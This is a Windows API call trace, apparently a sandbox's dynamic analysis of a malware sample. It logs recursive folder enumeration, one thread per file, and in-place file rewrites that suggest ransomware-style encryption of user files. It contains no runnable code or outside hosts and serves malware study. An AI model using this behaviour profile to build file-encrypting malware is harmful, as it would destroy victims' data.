RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x566c772b [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0xfa8c796 [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x7d8ef5c0 [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x722bdc42 [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x7f82c8a4 [0060.306] SetFilePointerEx (in: hFile=0x1010, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.306] ReadFile (in: hFile=0x1010, lpBuffer=0x12cc7138, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1642fc7c, lpOverlapped=0x0 | out: lpBuffer=0x12cc7138*, lpNumberOfBytesRead=0x1642fc7c*=0xc800, lpOverlapped=0x0) returned 1 [0060.308] SetFilePointerEx (in: hFile=0x1010, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.308] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c678 [0060.308] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43aba0 [0060.308] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0060.308] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05020) returned 1 [0060.309] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12cd3940 [0060.314] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0060.314] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05750 [0060.314] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05750) returned 1 [0060.314] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43aba0) returned 1 [0060.314] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c678) returned 1 [0060.314] WriteFile (in: hFile=0x1010, lpBuffer=0x12cd3940*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1642fc7c, lpOverlapped=0x0 | out: lpBuffer=0x12cd3940*, lpNumberOfBytesWritten=0x1642fc7c*=0xc800, lpOverlapped=0x0) returned 1 [0066.392] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cd3940) returned 1 [0066.396] SetFilePointerEx (in: hFile=0x1010, liDistanceToMove=0x32000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.396] ReadFile (hFile=0x1010, lpBuffer=0x12cc7138, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1642fc7c, lpOverlapped=0x0) Thread: id = 900 os_tid = 0x11ec [0051.938] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x4ee8d8 [0051.938] wcscpy (in: _Dest=0x4ee8d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab" [0051.938] wcscat (in: _Dest=0x4ee8d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\" [0051.938] wcscat (in: _Dest=0x4ee8d8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*" [0051.938] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424ab0 [0051.938] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440fa0 [0055.501] wcscmp (_String1=".", _String2=".") returned 0 [0055.501] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.501] wcscmp (_String1="..", _String2=".") returned 1 [0055.501] wcscmp (_String1="..", _String2="..") returned 0 [0055.501] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.501] FindClose (in: hFindFile=0x440fa0 | out: hFindFile=0x440fa0) returned 1 [0055.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424ab0) returned 1 [0055.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee8d8) returned 1 [0055.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4399e8) returned 1 Thread: id = 901 os_tid = 0x11f0 [0051.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x92) returned 0x4ee978 [0051.939] wcscpy (in: _Dest=0x4ee978, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms" [0051.939] wcscat (in: _Dest=0x4ee978, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\" [0051.939] wcscat (in: _Dest=0x4ee978, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*" [0051.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426058 [0051.940] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440fa0 [0055.503] wcscmp (_String1=".", _String2=".") returned 0 [0055.503] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.503] wcscmp (_String1="..", _String2=".") returned 1 [0055.503] wcscmp (_String1="..", _String2="..") returned 0 [0055.503] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.503] FindClose (in: hFindFile=0x440fa0 | out: hFindFile=0x440fa0) returned 1 [0055.503] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x426058) returned 1 [0055.503] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee978) returned 1 [0055.503] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x439bb0) returned 1 Thread: id = 902 os_tid = 0x11f4 [0051.940] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e308 [0051.941] wcscpy (in: _Dest=0x43e308, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" [0051.941] wcscat (in: _Dest=0x43e308, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\" [0051.941] wcscat (in: _Dest=0x43e308, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*" [0051.941] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e05960 [0051.941] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", lpFindFileData=0x12e05960 | out: lpFindFileData=0x12e05960*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440ba0 [0052.224] wcscmp (_String1=".", _String2=".") returned 0 [0052.224] FindNextFileW (in: hFindFile=0x440ba0, lpFindFileData=0x12e05960 | out: lpFindFileData=0x12e05960*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.224] wcscmp (_String1="..", _String2=".") returned 1 [0052.224] wcscmp (_String1="..", _String2="..") returned 0 [0052.224] FindNextFileW (in: hFindFile=0x440ba0, lpFindFileData=0x12e05960 | out: lpFindFileData=0x12e05960*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.js", cAlternateFileName="")) returned 1 [0052.224] wcscmp (_String1="glob.js", _String2=".") returned 1 [0052.224] wcscmp (_String1="glob.js", _String2="..") returned 1 [0052.224] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45c350 [0052.224] wcscpy (in: _Dest=0x45c350, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" [0052.224] wcscat (in: _Dest=0x45c350, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\" [0052.224] wcscat (in: _Dest=0x45c350, _Source="glob.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js" [0063.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45c350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x108c [0063.941] FindNextFileW (in: hFindFile=0x440ba0, lpFindFileData=0x12e05960 | out: lpFindFileData=0x12e05960*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.settings.js", cAlternateFileName="GLOBSE~1.JS")) returned 1 [0063.941] wcscmp (_String1="glob.settings.js", _String2=".") returned 1 [0063.941] wcscmp (_String1="glob.settings.js", _String2="..") returned 1 [0063.941] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbc) returned 0x12f4d780 [0063.941] wcscpy (in: _Dest=0x12f4d780, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" [0063.941] wcscat (in: _Dest=0x12f4d780, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\" [0063.941] wcscat (in: _Dest=0x12f4d780, _Source="glob.settings.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" [0063.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12f4d780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0063.942] FindNextFileW (in: hFindFile=0x440ba0, lpFindFileData=0x12e05960 | out: lpFindFileData=0x12e05960*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.settings.js", cAlternateFileName="GLOBSE~1.JS")) returned 0 [0063.942] FindClose (in: hFindFile=0x440ba0 | out: hFindFile=0x440ba0) returned 1 [0063.942] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e05960) returned 1 [0063.942] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43e308) returned 1 [0063.942] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43e1b8) returned 1 Thread: id = 903 os_tid = 0x11f8 [0051.942] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4eea18 [0051.942] wcscpy (in: _Dest=0x4eea18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" [0051.942] wcscat (in: _Dest=0x4eea18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\" [0051.942] wcscat (in: _Dest=0x4eea18, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*" [0051.942] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e056f8 [0051.942] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*", lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4405e0 [0052.224] wcscmp (_String1=".", _String2=".") returned 0 [0052.224] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.224] wcscmp (_String1="..", _String2=".") returned 1 [0052.224] wcscmp (_String1="..", _String2="..") returned 0 [0052.225] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda8cdc00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8f3d60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x1517, dwReserved0=0x0, dwReserved1=0x0, cFileName="addressbook.acrodata", cAlternateFileName="ADDRES~1.ACR")) returned 1 [0052.225] wcscmp (_String1="addressbook.acrodata", _String2=".") returned 1 [0052.225] wcscmp (_String1="addressbook.acrodata", _String2="..") returned 1 [0052.225] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x449a58 [0052.225] wcscpy (in: _Dest=0x449a58, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" [0052.225] wcscat (in: _Dest=0x449a58, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\" [0052.225] wcscat (in: _Dest=0x449a58, _Source="addressbook.acrodata" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata" [0055.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x449a58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa40 [0055.650] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 1 [0055.650] wcscmp (_String1="CRLCache", _String2=".") returned 1 [0055.650] wcscmp (_String1="CRLCache", _String2="..") returned 1 [0055.650] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x443490 [0055.650] wcscpy (in: _Dest=0x443490, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" [0055.650] wcscat (in: _Dest=0x443490, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\" [0055.650] wcscat (in: _Dest=0x443490, _Source="CRLCache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache" [0055.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x443490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0055.652] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 0 [0055.652] FindClose (in: hFindFile=0x4405e0 | out: hFindFile=0x4405e0) returned 1 [0055.653] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e056f8) returned 1 [0055.653] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eea18) returned 1 [0055.653] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee478) returned 1 Thread: id = 904 os_tid = 0x11fc [0051.943] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\client.xml")) returned 0x20 [0051.943] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml", dwFileAttributes=0x20) returned 0 [0051.943] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\client.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0051.943] GetLastError () returned 0x5 [0051.943] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml", dwFileAttributes=0x20) returned 0 [0051.944] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02360) returned 1 Thread: id = 905 os_tid = 0x1200 [0051.945] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e29aa8 [0051.945] wcscpy (in: _Dest=0x12e29aa8, _Source="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" | 